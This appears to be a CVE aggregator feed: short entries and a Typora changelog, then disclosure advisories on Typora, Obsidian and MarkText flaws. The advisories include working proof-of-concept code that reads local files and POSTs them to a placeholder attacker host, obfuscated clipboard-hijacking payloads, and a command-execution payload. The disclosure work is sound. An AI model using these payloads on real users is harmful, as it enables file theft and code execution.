Missing Authorization in GitHub repository hamza417/inure prior to build88.

CVE-2023-4434: huntr – Security Bounties for any GitHub repository

Veilid before 0.1.9 does not check the size of uncompressed data during decompression upon an envelope receipt, which allows remote attackers to cause a denial of service (out-of-memory abort) via crafted packet data, as exploited in the wild in August 2023.

To find the state of this project's repository at the time of any of these versions, check out the tags.

CVE-2023-40711: CHANGELOG.md · main · Veilid / veilid · GitLab

DOM-based XSS in updater/update.html in Typora before 1.6.7 on Windows and Linux allows a crafted markdown file to run arbitrary JavaScript code in the context of Typora main window via loading typora://app/typemark/updater/update.html in <embed> tag. This vulnerability can be exploited if a user opens a malicious markdown file in Typora, or copies text from a malicious webpage and paste it into Typora.

> From this version, Windows 7, 8, 8.1 are no longer supported. For older Windows support, please check here.

**“Files” Section in Preferences Panel**

In this version, we rearranged groups in Preferences Panel, and added a new group “Files” in Preferences Panel for files related configs.

Some new options are added:

1.  Typora now allow user to set default file extensions when save file or add new file in files sidebar.
2.  Typora now allow user to config actions when drop file or folders into Typora, currently it provides following two options:
    *   Open or import the file / folder in Typora
    *   Insert a file link into Typora

**Options to Disable Auto Links**

You can now config whether Typora should auto recognize and render links from Preferences Panel → Markdown → Syntax Support.

*   When **Auto Links is disabled**, links like https://typora.io or mailto:[email protected] in the markdown document will NOT rendered as <ttps://typora.io> or \[email protected\].
    
    But you can use syntax like [title](url) or <url> to insert links.
    
*   When **Auto Links is enabled**, links like https://typora.io or mailto:[email protected] in the markdown document will rendered as <ttps://typora.io> or \[email protected\] automatically.
    

**Default Code Language**

You can now set default code language for code blocks from Preferences Panel → Code Fences.

And Typora provides some apply options:

*   Apply default code language when add code fences from menubar, context menu, or from shortcut keys.
*   Apply default code language when add code fences by input markdown syntax ```. You can press **Backspace** key or **Undo** to delete auto applied code language.
*   Apply in both cases.

Auto Apply Code Language for Code Blocks inserted from menu

Auto Apply Code Language for Code Blocks inserted from Markdown

You can also choose **Last Used** to auto apply last used code language when insert new code blocks.

**Timeline Diagram**

Typora now upgrade mermaid library to version 10, and timeline diagram is now supported.

We also added a link for diagram configurations in Preferences Panel → Markdown → Syntax Support → Diagrams.

**Other Changes****Thai Language Support**

Typora now speaks Thai, thanks to ARMnunf!

**PicList as an Image Uploader**

Typora now added PicList as an image uploader service. See here for more details.

**Other Improvements**

*   Add PEG.js syntax highlight support.

**Privacy & Security Updates**

*   Fix CVE-2023-2317
*   Fix CVE-2023-2316
*   Avoid using google font mirrors in exported HTML, now official google font CDN is used.

**Bug Fix**

*   Fix using keyword["keyword"] sometimes causes node not rendered in Mermaid diagram.
*   Fix color of typic package not readable in dark themes.
*   Fix setting inline mermaid configs may also affect other mermaid blocks.
*   Fix tasks status cannot be changed from menu bar when task list is under nested lists.
*   Fix math block is always auto numbered in exported docx and related setting is ignored.
*   \[Spec change\] Typora now allow users to escape : mark to avoid input unwanted emoji codes.

**Notice for Windows**

From this version, Windows 7, 8, 8.1 are no longer supported.

For older Windows support, please check here.

CVE-2023-2317: Typora 1.6

Improper path handling in Typora before 1.6.7 on Windows and Linux allows a crafted webpage to access local files and exfiltrate them to remote web servers via "typora://app/<absolute-path>". 

This vulnerability can be exploited if a user opens a malicious markdown file in Typora, or copies text from a malicious webpage and paste it into Typora.







**Summary:**

**Product**

Typora

**Vendor**

Typora

**Severity**

Medium

**Affected Versions**

Typora for Windows/Linux < 1.6.7

**Tested Versions**

Typora for Windows 1.5.12, Typora for Linux 1.5.10

**CVE Identifier**

CVE-2023-2316

**CVE Description**

Improper path handling in Typora before 1.6.7 on Windows and Linux allows a crafted webpage to access local files and exfiltrate them to remote web servers via “typora://app/<absolute-path>”. This vulnerability can be exploited if a user opens a malicious markdown file in Typora, or copies text from a malicious webpage and paste it into Typora.

**CWE Classification(s)**

CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

**CAPEC Classification(s)**

CAPEC-597 Absolute Path Traversal

**CVSS3.1 Scoring System:**

**Base Score:** 6.3 (Medium) **Vector String:** CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

**Metric**

**Value**

**Attack Vector (AV)**

Local

**Attack Complexity (AC)**

Low

**Privileges Required (PR)**

None

**User Interaction (UI)**

Required

**Scope (S)**

Changed

**Confidentiality (C)**

High

**Integrity (I)**

None

**Availability (A)**

None

**Product Overview:**

Typora is a popular cross-platform markdown editor that allows users to create and edit markdown files with a real-time preview feature. It supports various formatting options such as headings, bold, italics, and more. Typora also allows users to export their markdown files to different formats such as PDF, HTML, and Word.

Typora for Windows/Linux is built on Electron, a framework that enables it to run seamlessly on various operating systems. The markdown editor supports HTML tags and embedding external webpages. An attacker can use the vulnerability to access arbitrary local files from a malicious webpage loaded in the markdown editor.

**Vulnerability Summary:**

There is a Local File Disclosure vulnerability in typora://app/ in Typora for Windows/Linux, allowing a crafted webpage to access local files and exfiltrate them to remote web servers. This vulnerability can be exploited if a user opens a malicious markdown file in Typora, or copies text from a malicious webpage and paste it into Typora.

**Vulnerability Details:**

In resources/app.asar/atom.js, a custom URL scheme typora:// is registered via electron.protocol.registerFileProtocol API. This URL scheme is designed for loading local resources for the editor itself. Here is the code snippet handling typora:// :

    l.registerFileProtocol(e, function(e, t) {
        e.url ? t({
            path: c.getRealPath(e.url)
        }) : t({
            error: -324
        })
    })
    
    c.getRealPath = function(e) {
        try {
            e = decodeURI(e)
        } catch (e) {}
        e = e.substr(13);
        return /^userData/.exec(e) && (e = e.replace(/^userData/, c.getPath("userData").replace(/\\/g, "\\\\"))),
        /current-theme\.css$/.exec(e) && (e = e.replace(/current-theme\.css$/, c.setting.curTheme())),
        /^typemark/i.exec(e) && (e = e.replace(/^typemark/, t)),
        e = (e = /preview\.html/.exec(e) ? e.replace(/\.html[?#].*$/, ".html") : e).replace(/[?#][^\\\/]*$/, "")
    }
    

This file protocol handler passes the URL to getRealPath function for some match and replacement. For example, when the main window tries to load typora://app/typemark/window.html, the URL will be converted and loaded from [Typora Installation Absolute Path]/resources/window.html.

However, it is discovered that an external webpage loaded in <embed> tag is able to read arbitrary local files by executing the following JavaScript code:

    fetch('typora://app/C:/windows/win.ini').then(r=>r.text()).then(r=>{console.log(r)})
    

**Exploit Conditions:**

This vulnerability can be exploited by convicing the victim to (1) open a malicious markdown file in Typora, or (2) copy text from a malicious webpage and paste it into Typora.

**Proof-of-Concept:**

We have tried our best to make the PoC as portable as possible. The following HTML code is a PoC demonstrating this arbitrary file disclosure vulnerability:

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Typora 1.5.12 Local File Disclosure Proof-of-Concept</title>
    </head>
    <body>
        <pre id="log" style="background: #eee; width: 100%;"></pre>
        <script>
            const log = t => {
                document.getElementById("log").textContent += t + '\r\n';
                fetch('//example.localtest.me/send-file-to-attacker-server', {mode: 'no-cors', body: t, method: 'POST'})
            }
            log('location.origin: ' + location.origin)
            log('navigator.platform: ' + navigator.platform)
            log(' ')
            if(navigator.platform === 'Win32'){
                log('Content of your C:\\Windows\\win.ini:')
                fetch('typora://app/C:/windows/win.ini').then(r=>r.text()).then(r=>{log(r)})
            } else {
                log('Content of your /etc/passwd:')
                fetch('typora://app/etc/passwd').then(r=>r.text()).then(r=>{log(r)})
            }
        </script>
    </body>
    </html>
    

Save the above HTML file as poc1.html and serve it on a webserver, then append this line to any markdown file in Typora: <embed src="http(s)://YOUR-WEB-SERVER/poc1.html">. Once the PoC is loaded in the <embed> tag, it will:

1.  Try to read C:/Windows/win.ini on Windows, or /etc/passwd on Linux,
2.  Show the content of the file in the webpage,
3.  Send the file to external URL on example.localtest.me (this domain resolves to 127.0.0.1 for demonstration purposes only).

**Attack Scenario:****Scenario 1: Open a malicious markdown file**

An attacker can inject an embed tag in a markdown file and convince the victim to open it in Typora to trigger the payload.

We have attached poc/typora-1.5.12-local-file-disclosure.md with this report for demonstration. It loads poc1.html from https://o.cal1.cn/f0a97fdef8028595-typora-poc/local-file-disclosure.html. Open the file in affected version of Typora to verify this vulnerability.

**Scenario 2: Copy and paste from a webpage**

An attacker can craft a malicious webpage and hook on the copy event with the following code:

    <script>
        document.addEventListener('copy',e=>{
            e.preventDefault();
            let payload = atob('JiN4M2M7ZW1iZWQgc3R5bGU9ImhlaWdodDowOyIgc3JjPSJodHRwczovL28uY2FsMS5jbi9mMGE5N2ZkZWY4MDI4NTk1LXR5cG9yYS1wb2MvbG9jYWwtZmlsZS1kaXNjbG9zdXJlLmh0bWwiPiYjeDBkOyYjeDBkOw==');
            e.clipboardData.setData('text/markhtml', `\x20\x0d\x0a\x0d\x0a` + payload + window.getSelection());
            console.log(payload + window.getSelection())
        })
    </script>
    

When the victim copies text from this page, the payload is added to the copied content and will be triggered when it is pasted into Typora.

_Note: A live version of copy-and-paste PoC can be found here._

**Additional Notes:**

1.  It is possible for attackers to set custom styles on the <embed> tag to make the exploit less noticeable. For instance, height:0; is used in the Scenario 2 PoC to hide the embedded webpage.

**Suggested Mitigations:**

Prohibit http(s) webpages from accessing typora:// resources.

For end users who are using the versions affected by this vulnerability, it is suggested that (1) any untrusted markdown file should not be opened in Typora, and (2) copying text from an untrusted webpage then pasting it into Typora should be avoided.

**Detection Guidance:**

It is possible to detect the exploitation of this vulnerability by checking the presence of embed tags loading suspicious URLs in markdown files.

**Credits:**

Li Jiantao (@CurseRed) of STAR Labs SG Pte. Ltd. (@starlabs\_sg)

**Timeline:**

*   2023-04-27 Vendor Disclosure
*   2023-05-22 Vendor Patch Release
*   2023-08-19 Public Release

CVE-2023-2316: (CVE-2023-2316) Typora Local File Disclosure

Improper path handling in Typora before 1.7.0-dev on Windows and Linux allows a crafted webpage to access local files and exfiltrate them to remote web servers via "typora://app/typemark/". This vulnerability can be exploited if a user opens a malicious markdown file in Typora, or copies text from a malicious webpage and paste it into Typora.

**Summary:**

**Product**

Typora

**Vendor**

Typora

**Severity**

Medium

**Affected Versions**

Typora for Windows/Linux < 1.7.0-dev

**Tested Versions**

Typora for Windows 1.6.7, Typora for Linux 1.6.6

**CVE Identifier**

CVE-2023-2971

**CVE Description**

Improper path handling in Typora before 1.7.0-dev on Windows and Linux allows a crafted webpage to access local files and exfiltrate them to remote web servers via “typora://app/typemark/”. This vulnerability can be exploited if a user opens a malicious markdown file in Typora, or copies text from a malicious webpage and paste it into Typora.

**CWE Classification(s)**

CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

**CAPEC Classification(s)**

CAPEC-139 Relative Path Traversal

**CVSS3.1 Scoring System:**

**Base Score:** 6.3 (Medium) **Vector String:** CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

**Metric**

**Value**

**Attack Vector (AV)**

Local

**Attack Complexity (AC)**

Low

**Privileges Required (PR)**

None

**User Interaction (UI)**

Required

**Scope (S)**

Changed

**Confidentiality (C)**

High

**Integrity (I)**

None

**Availability (A)**

None

**Product Overview:**

Typora is a popular cross-platform markdown editor that allows users to create and edit markdown files with a real-time preview feature. It supports various formatting options such as headings, bold, italics, and more. Typora also allows users to export their markdown files to different formats such as PDF, HTML, and Word.

Typora for Windows/Linux is built on Electron, a framework that enables it to run seamlessly on various operating systems. The markdown editor supports HTML tags and embedding external webpages. An attacker can use the vulnerability to access arbitrary local files from a malicious webpage loaded in the markdown editor.

**Vulnerability Summary:**

There is a Local File Disclosure vulnerability in typora://app/ in Typora for Windows/Linux, allowing a crafted webpage to access local files and exfiltrate them to remote web servers. This vulnerability can be exploited if a user opens a malicious markdown file in Typora, or copies text from a malicious webpage and paste it into Typora. This vulnerability is similar to CVE-2023-2316, which was incompletely fixed in Typora version 1.6.5.

**Vulnerability Details:**

In resources/app.asar/atom.js, a custom URL scheme typora:// is registered via electron.protocol.registerFileProtocol API. This URL scheme is designed for loading local resources for the editor itself. Here is the code snippet handling typora:// :

    m.registerFileProtocol(e, function(e, t) {
        e.url ? t({
            path: c.getRealPath(e.url)
        }) : t({
            error: -324
        })
    }),
    
    c.getRealPath = function(e) {
        try {
            e = decodeURI(e)
        } catch (e) {}
        e = e.substr(13);
        if (/^userData/i.exec(e))
            e = e.replace(/^userData/, c.getPath("userData").replace(/\\/g, "\\\\"));
        else {
            if (!/^typemark/i.exec(e))      // [1]
                return console.warn("reject access to path", e),
                "";
            e = e.replace(/^typemark/, t)       // [2]
        }
        return /current-theme\.css$/.exec(e) && (e = e.replace(/current-theme\.css$/, c.setting.curTheme())),
        e = (e = /preview\.html/.exec(e) ? e.replace(/\.html[?#].*$/, ".html") : e).replace(/[?#][^\\\/]*$/, "")
    }
    

This file protocol handler passes the URL to getRealPath function for some match and replacement. For example, when the main window tries to load typora://app/typemark/window.html, the URL will be converted and loaded from [Typora Installation Absolute Path]/resources/window.html.

In CVE-2023-2316, it was discovered that an external webpage loaded in <embed> tag was able to read arbitrary local files by executing the following JavaScript code:

    fetch('typora://app/C:/windows/win.ini').then(r=>r.text()).then(r=>{console.log(r)})
    

To patch this vulnerability, a sanity check was added in Typora 1.6.5 at [1] to ensure the path starts with the string typemark, eliminating the possiblity of passing an absolute path starting with C:\\ or /.

However, it is still possible to read arbitrary files using path traversal in two different ways:

*   Approach 1: Using ..%5C (Windows-only):
    
        fetch('typora://app/typemark/..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows/win.ini').then(r=>r.text()).then(r=>{console.log(r)})
        
    
*   Approach 2: Passing ../ in URL fragment #:
    
        fetch('typora://app/typemark#../../../../../../../../Windows/win.ini').then(r=>r.text()).then(r=>{console.log(r)})
        
    

**Exploit Conditions:**

This vulnerability can be exploited by convicing the victim to (1) open a malicious markdown file in Typora, or (2) copy text from a malicious webpage and paste it into Typora.

**Proof-of-Concept:**

We have tried our best to make the PoC as portable as possible. The following HTML code is a PoC demonstrating this arbitrary file disclosure vulnerability:

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Typora 1.6.7 Local File Disclosure Proof-of-Concept</title>
    </head>
    <body>
    <pre id="log" style="background: #eee; width: 100%;"></pre>
    <script>
        const log = t => {
            document.getElementById("log").textContent += t + '\r\n';
            fetch('//example.localtest.me/send-file-to-attacker-server', {mode: 'no-cors', body: t, method: 'POST'})
        }
        log('location.origin: ' + location.origin)
        log('navigator.platform: ' + navigator.platform)
        log(' ')
        if(navigator.platform === 'Win32'){
            log('Content of your C:\\Windows\\win.ini:')
            fetch('typora://app/typemark/%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows/win.ini').then(r=>r.text()).then(r=>{log(r)})
        } else {
            log('Content of your /etc/passwd:')
            fetch('typora://app/typemark#/../../../../../../../../etc/passwd').then(r=>r.text()).then(r=>{log(r)})
        }
    </script>
    </body>
    </html>
    

Save the above HTML file as poc1.html and serve it on a webserver, then append this line to any markdown file in Typora: <embed src="http(s)://YOUR-WEB-SERVER/poc1.html">. Once the PoC is loaded in the <embed> tag, it will:

1.  Try to read C:/Windows/win.ini on Windows, or /etc/passwd on Linux,
2.  Show the content of the file in the webpage,
3.  Send the file to external URL on example.localtest.me (this domain resolves to 127.0.0.1 for demonstration purposes only).

**Attack Scenario:****Scenario 1: Open a malicious markdown file**

An attacker can inject an embed tag in a markdown file and convince the victim to open it in Typora to trigger the payload.

We have attached poc/typora-1.6.7-local-file-disclosure.md with this report for demonstration. It loads poc1.html from https://o.cal1.cn/cab3e723540d9948-typora-167-poc/local-file-disclosure.html. Open the file in affected version of Typora to verify this vulnerability.

**Scenario 2: Copy and paste from a webpage**

An attacker can craft a malicious webpage and hook on the copy event with the following code:

    <script>
        document.addEventListener('copy',e=>{
            e.preventDefault();
            let payload = atob('JiN4M2M7ZW1iZWQgc3R5bGU9ImhlaWdodDowOyIgc3JjPSJodHRwczovL28uY2FsMS5jbi9jYWIzZTcyMzU0MGQ5OTQ4LXR5cG9yYS0xNjctcG9jL2xvY2FsLWZpbGUtZGlzY2xvc3VyZS5odG1sIj4mI3gwZDsmI3gwZDs=');
            e.clipboardData.setData('text/markhtml', `\x20\x0d\x0a\x0d\x0a` + payload + window.getSelection());
            console.log(payload + window.getSelection())
        })
    </script>
    

When the victim copies text from this page, the payload is added to the copied content and will be triggered when it is pasted into Typora.

_Note: A live version of copy-and-paste PoC can be found here._

**Additional Notes:**

1.  It is possible for attackers to set custom styles on the <embed> tag to make the exploit less noticeable. For instance, height:0; is used in the Scenario 2 PoC to hide the embedded webpage.

**Suggested Mitigations:**

Prohibit http(s) webpages from accessing typora:// resources.

For end users who are using the versions affected by this vulnerability, it is suggested that (1) any untrusted markdown file should not be opened in Typora, and (2) copying text from an untrusted webpage then pasting it into Typora should be avoided.

**Detection Guidance:**

It is possible to detect the exploitation of this vulnerability by checking the presence of embed tags loading suspicious URLs in markdown files.

**Credits:**

Li Jiantao (@CurseRed) of STAR Labs SG Pte. Ltd. (@starlabs\_sg)

**Timeline:**

*   2023-06-07 Vendor Disclosure
*   2023-06-07 Initial Vendor Contact
*   2023-07-18 Vendor Patch Release (1.7.0-dev)
*   2023-08-19 Public Release

CVE-2023-2971: (CVE-2023-2971) Typora Local File Disclosure (Patch Bypass)

Improper path handling in Obsidian desktop before 1.2.8 on Windows, Linux and macOS allows a crafted webpage to access local files and exfiltrate them to remote web servers via "app://local/<absolute-path>". This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.

**Summary:**

**Product**

Obsidian

**Vendor**

Obsidian

**Severity**

High

**Affected Versions**

Obsidian < 1.2.8

**Tested Versions**

Obsidian 1.1.16

**CVE Identifier**

CVE-2023-2110

**CVE Description**

Improper path handling in Obsidian desktop before 1.2.8 on Windows, Linux and macOS allows a crafted webpage to access local files and exfiltrate them to remote web servers via “app://local/<absolute-path>”. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.

**CWE Classification(s)**

CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

**CAPEC Classification(s)**

CAPEC-597 Absolute Path Traversal

**CVSS3.1 Scoring System:**

**Base Score:** 8.2 (High) **Vector String:** CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

**Metric**

**Value**

**Attack Vector (AV)**

Local

**Attack Complexity (AC)**

Low

**Privileges Required (PR)**

None

**User Interaction (UI)**

Required

**Scope (S)**

Changed

**Confidentiality (C)**

High

**Integrity (I)**

High

**Availability (A)**

None

**Product Overview:**

Obsidian is a markdown editor designed for knowledge workers and researchers that has gained significant popularity in recent years. One of its main features is its ability to create links between notes, allowing users to easily organize and navigate their ideas.

Obsidian is built on Electron, a framework that enables it to run seamlessly on various operating systems. The markdown editor supports HTML tags and embedding images from local filesystem. An attacker can use the vulnerability to access arbitrary local files from a malicious webpage loaded in the markdown editor.

**Vulnerability Summary:**

There is a Local File Disclosure vulnerability in app://local/ in Obsidian desktop client, allowing a crafted webpage to access local files and exfiltrate them to remote web servers. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.

**Vulnerability Details:**

In resources/app.asar/main.js, a custom URL scheme app:// is registered via electron.protocol.registerFileProtocol API. This URL scheme is designed for loading local resources embedded in the markdown file. For example, an image in markdown syntax ![](img1.png) will be converted to HTML img tag <img src="app://local/C:/Users/cr/Documents/md/img1.png?1681587426400"> for preview:

The following code snippet is the function handling app:// :

    let SCHEME = 'app';
    let PROTOCOL = SCHEME + '://';
    let APP_URL_ROOT = PROTOCOL + 'obsidian.md/';
    let FILE_ROOT = PROTOCOL + 'local/';
    // ...
    protocol.registerFileProtocol('app', (req, callback) => {
        let url = req.url;
        let noframe = false;
        // ...
        if (url.indexOf(FILE_ROOT) === 0) {
            url = decodeURIComponent(url.substr(FILE_ROOT.length));
            if (!isWin) {
                url = '/' + url;
            }
            url = path.resolve(url);    // [1]
            // Disallow framing if the path is a UNC path
            if (isUncPath(url)) {
                noframe = true;
            }
        }
    
        // Don't allow iframes from different origins to access local files
        let referrer = req.referrer;
        if (referrer && referrer.indexOf(PROTOCOL) !== 0) {     // [2]
            noframe = true;
            url = '';
        }
    
        let headers = {};
        if (noframe) {
            headers['X-Frame-Options'] = 'DENY';
        }
        callback({ path: url, headers });
    });
    

When the URL of a request starts with app://local/, the remainder of the URL is resolved by path.resolve as an absolute path at [1].

At [2], if the request comes with a referrer header and the value does not start with app://, this request will be assumed to originate from an iframe, and the URL will be set to empty to prevent external webpage from loading local resources.

However, it was discovered that loading an external webpage in iframe and executing the following JavaScript code will send an empty referer header to app://local/, which led to bypassing the referer check and disclosing the contents of any local files:

    r = new XMLHttpRequest();
    r.open('GET', 'app://local/C:/windows/win.ini');
    r.addEventListener('load', e => {
        let result = e.currentTarget.responseText;
        console.log(result);
    });
    r.send();
    

**Exploit Conditions:**

This vulnerability can be exploited by convicing the victim to (1) open a malicious markdown file or canvas file in Obsidian, or (2) copy text from a malicious webpage and paste it into Obsidian.

**Proof-of-Concept:**

We have tried our best to make the PoC as portable as possible. The following HTML code is a PoC demonstrating this arbitrary file disclosure vulnerability:

    <!DOCTYPE html>
    <html lang="en">
    <body>
    <script>
        window.location = `data:text/html,<script>(${payload.toString()})()\x3c/script>`;
    
        function payload() {
            let filename = 'app://local/';
            if(navigator.platform === 'Win32'){
                filename += 'C:/Windows/win.ini';
            } else if(navigator.platform.startsWith('Linux')){
                filename += '/proc/self/root/etc/passwd'
            }
            let r = new XMLHttpRequest();
            r.open('GET', filename);
            r.addEventListener('load', e => {
                let result = e.currentTarget.responseText;
                console.log(result);
                confirm(result)
                fetch('http://example.localtest.me/send-file-to-attacker-server', {method: 'post', mode: 'no-cors', body: result})
            });
            r.send();
        }
    </script>
    </body>
    </html>
    

Save the above HTML file as poc1.html and serve it on a webserver, then append this line to any markdown file in Obsidian: <iframe src="http(s)://YOUR-WEB-SERVER/poc1.html"></iframe>. Once the PoC is loaded in the iframe, it will:

1.  Try to read C:/Windows/win.ini on Windows, or /etc/passwd on Linux,
2.  Show the content of the file in a dialog,
3.  Send the file to external URL on example.localtest.me (this domain resolves to 127.0.0.1 for demonstration purposes only).

_Note: A live version of poc1.html can be found at https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc1.html_

**Attack Scenario:****Scenario 1: Open a malicious markdown file**

An attacker can inject an iframe tag in a markdown file and convince the victim to open it in Obsidian to trigger the payload.

**Scenario 2: Copy and paste from a webpage**

An attacker can craft a malicious webpage and hook on the copy event with the following code:

    <script>
      document.addEventListener('copy',e=>{
        e.preventDefault();
        let payload = `<img src=")<iframe style='display:none' src='https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc1.html'></iframe>![](">`;
        e.clipboardData.setData('text/html', payload + window.getSelection());
      })
    </script>
    

When the victim copies text from this page, the payload is added to the copied content and will be triggered when it is pasted into Obsidian.

_Note: A live version of copy-and-paste PoC can be found here._

**Additional Notes:**

1.  It is possible to add style="display:none" attribute to the iframe to make the exploit invisible.
    
2.  An attacker can get a list of recently opened vaults from:
    
    *   app://local/proc/self/cwd/.config/obsidian/obsidian.json on Linux, or
    *   app://local/..%252f..%252fRoaming%2fObsidian%2fobsidian.json on Windows
    
    Then get a file list of each vault from app://local/PATH-TO-VAULT/.obsidian/workspace.json, and finally reads every file in the vault. In another word, an attacker can exploit this vulnerability to leak most of the contents in the victim’s vaults.
    
    _An example of such exploit can be found at https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc2.html_
    
3.  Once the attacker obtained vault id from obsidian.json, it is possible to append arbitrary content to existing markdown files via obsidian://new.
    
    For example, executing location = 'obsidian://new?file=Untitled.md&vault=56cc6ab7be5a53d5&append=1&content=appended-content' will add “appended-content” at the end of Untitled.md in the specified vault. This would make this vulnerability wormable, as the attacker is able to append the same payload invisibly to the victim’s other markdown files.
    
    It is also possible for attacker to purge the files via the overwrite param: location = 'obsidian://new?file=Untitled.md&vault=56cc6ab7be5a53d5&overwrite=1&content=REMOVED'. This will seriously compromise the integrity of the user’s data.
    

**Suggested Mitigations:**

Prohibit http(s) webpages from accessing app:// resources. It is also recommended to limit the local resources to be loaded only from the current vault directory.

For end users who are using the versions affected by this vulnerability, it is suggested that (1) any untrusted markdown file or canvas file should not be opened in Obsidian, and (2) copying text from an untrusted webpage then pasting it into Obsidian should be avoided.

**Detection Guidance:**

It is possible to detect the exploitation of this vulnerability by checking the presence of iframe tags loading suspicious URLs in markdown files.

**Credits:**

Li Jiantao (@CurseRed) of STAR Labs SG Pte. Ltd. (@starlabs\_sg)

**Timeline:**

*   2023-04-28 Vendor Disclosure
*   2023-05-03 Vendor Patch Release
*   2023-08-19 Public Release

CVE-2023-2110: (CVE-2023-2110) Obsidian Local File Disclosure

DOM-based XSS in src/muya/lib/contentState/pasteCtrl.js in MarkText 0.17.1 and before on Windows, Linux and macOS allows arbitrary JavaScript code to run in the context of MarkText main window. This vulnerability can be exploited if a user copies text from a malicious webpage and paste it into MarkText.

**Summary:**

There is a DOM-based XSS in MarkText allowing arbitrary JavaScript code to run in the context of MarkText main window. This vulnerability can be exploited if a user copies text from a malicious webpage and paste it into MarkText.

**Vulnerability Details:**

When the user performs paste operations, MarkText will check the clipboard data and try to convert HTML tags into the equivalent Markdown format, and then generate HTML again for markdown preview.

Specifically, when the user copies a link from a webpage and paste it into MarkText, the <a> tag will be processed by the following code in src/muya/lib/contentState/pasteCtrl.js:

const links \= Array.from(tempWrapper.querySelectorAll('a'))
for (const link of links) {
  const href \= link.getAttribute('href')
  const text \= link.textContent   // \[1\]
  if (URL\_REG.test(href) && href \=== text) {
    const title \= await getPageTitle(href)
    if (title) {
      link.innerHTML \= sanitize(title, PREVIEW\_DOMPURIFY\_CONFIG, true)
    } else {
      const span \= document.createElement('span')   // \[2\]
      span.innerHTML \= text   // \[3\]
      link.replaceWith(span)
    }
  }
}

This code iterates over all the <a> tags. For each tag, if its href attribute is the same as its textContent, MarkText will try to fetch the URL and extract title from the response, then assign to innerHTML after sanitization.

However, if the title cannot be found, MarkText will create a <span> element at [2] and assign textContent of the original <a> tag to innerHTML at [3] without any sanitization, which results in DOM-based XSS.

This should affect all platforms since MarkText is built on Electron. Tested on:

*   MarkText 0.17.1 for Windows
*   MarkText 0.17.1 for Linux

**Proof-of-Concept:**

An attacker can craft a malicious webpage and hook on the copy event with the following code:

<script\>
  document.addEventListener('copy',e\=>{
    e.preventDefault();
    let payload \= '';
    if(navigator.platform \=== 'Win32') {
      payload \= decodeURIComponent(atob('JTVCJUUyJTgwJUFBJTVEKCUzQ2ElMjBocmVmJTNEJTIyaHR0cCUzQSUyRiUyRjElM0ExJTJGJTIzJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDNlJTNCJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDIwJTNCb25sb2FkJTNEZXZhbChhdG9iKCdjbVZ4ZFdseVpTZ2lZMmhwYkdSZmNISnZZMlZ6Y3lJcExtVjRaV01vSW01dmRHVndZV1FnUXpwY1hIZHBibVJ2ZDNOY1hIZHBiaTVwYm1raUtRJTNEJTNEJykpJTI2JTIzeDNlJTNCJTIyJTNFaHR0cCUzQSUyRiUyRjElM0ExJTJGJTIzJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDNlJTNCJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDIwJTNCb25sb2FkJTNEZXZhbChhdG9iKCdjbVZ4ZFdseVpTZ2lZMmhwYkdSZmNISnZZMlZ6Y3lJcExtVjRaV01vSW01dmRHVndZV1FnUXpwY1hIZHBibVJ2ZDNOY1hIZHBiaTVwYm1raUtRJTNEJTNEJykpJTI2JTIzeDNlJTNCJTNDJTJGYSUzRSk='));
    } else {
      payload \= decodeURIComponent(atob('JTVCJUUyJTgwJUFBJTVEKCUzQ2ElMjBocmVmJTNEJTIyaHR0cCUzQSUyRiUyRjElM0ExJTJGJTIzJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDNlJTNCJTI2JTIzeDNjJTNCc3ZnJTI2JTIzeDIwJTNCb25sb2FkJTNEZXZhbChhdG9iKCdjbVZ4ZFdseVpTZ2lZMmhwYkdSZmNISnZZMlZ6Y3lJcExtVjRaV01vSW1kdWIyMWxMV05oYkdOMWJHRjBiM0lnTFdVZ0owMWhjbXRVWlhoMElGSkRSU0JRYjBNbklpayUzRCcpKSUyNiUyM3gzZSUzQiUyMiUzRWh0dHAlM0ElMkYlMkYxJTNBMSUyRiUyMyUyNiUyM3gzYyUzQnN2ZyUyNiUyM3gzZSUzQiUyNiUyM3gzYyUzQnN2ZyUyNiUyM3gyMCUzQm9ubG9hZCUzRGV2YWwoYXRvYignY21WeGRXbHlaU2dpWTJocGJHUmZjSEp2WTJWemN5SXBMbVY0WldNb0ltZHViMjFsTFdOaGJHTjFiR0YwYjNJZ0xXVWdKMDFoY210VVpYaDBJRkpEUlNCUWIwTW5JaWslM0QnKSklMjYlMjN4M2UlM0IlM0MlMkZhJTNFKQ=='))
    }
    e.clipboardData.setData('text/html', payload + window.getSelection());
  })
</script\>

The base64-encoded part in the PoC is decoded to the following content:

require("child\_process").exec("gnome-calculator -e 'MarkText RCE PoC'")

When the victim copies text from this page, the payload is added to the copied content and will be triggered when it is pasted into MarkText. This PoC will run system command notepad on Windows, or gnome-calculator on Linux.

Here are GIFs demonstrating the PoC on Windows and Ubuntu:

A live version of the PoC can be found here.

**Suggested Mitigations:**

It is recommended to sanitize untrusted data before assigning it to innerHTML.

For end users who are using the versions affected by this vulnerability, it is suggested to avoid copying text from an untrusted webpage then paste it into MarkText.

**Credits:**

Li Jiantao (@CurseRed) of STAR Labs SG Pte. Ltd. (@starlabs\_sg)

**Vulnerability Disclosure:**

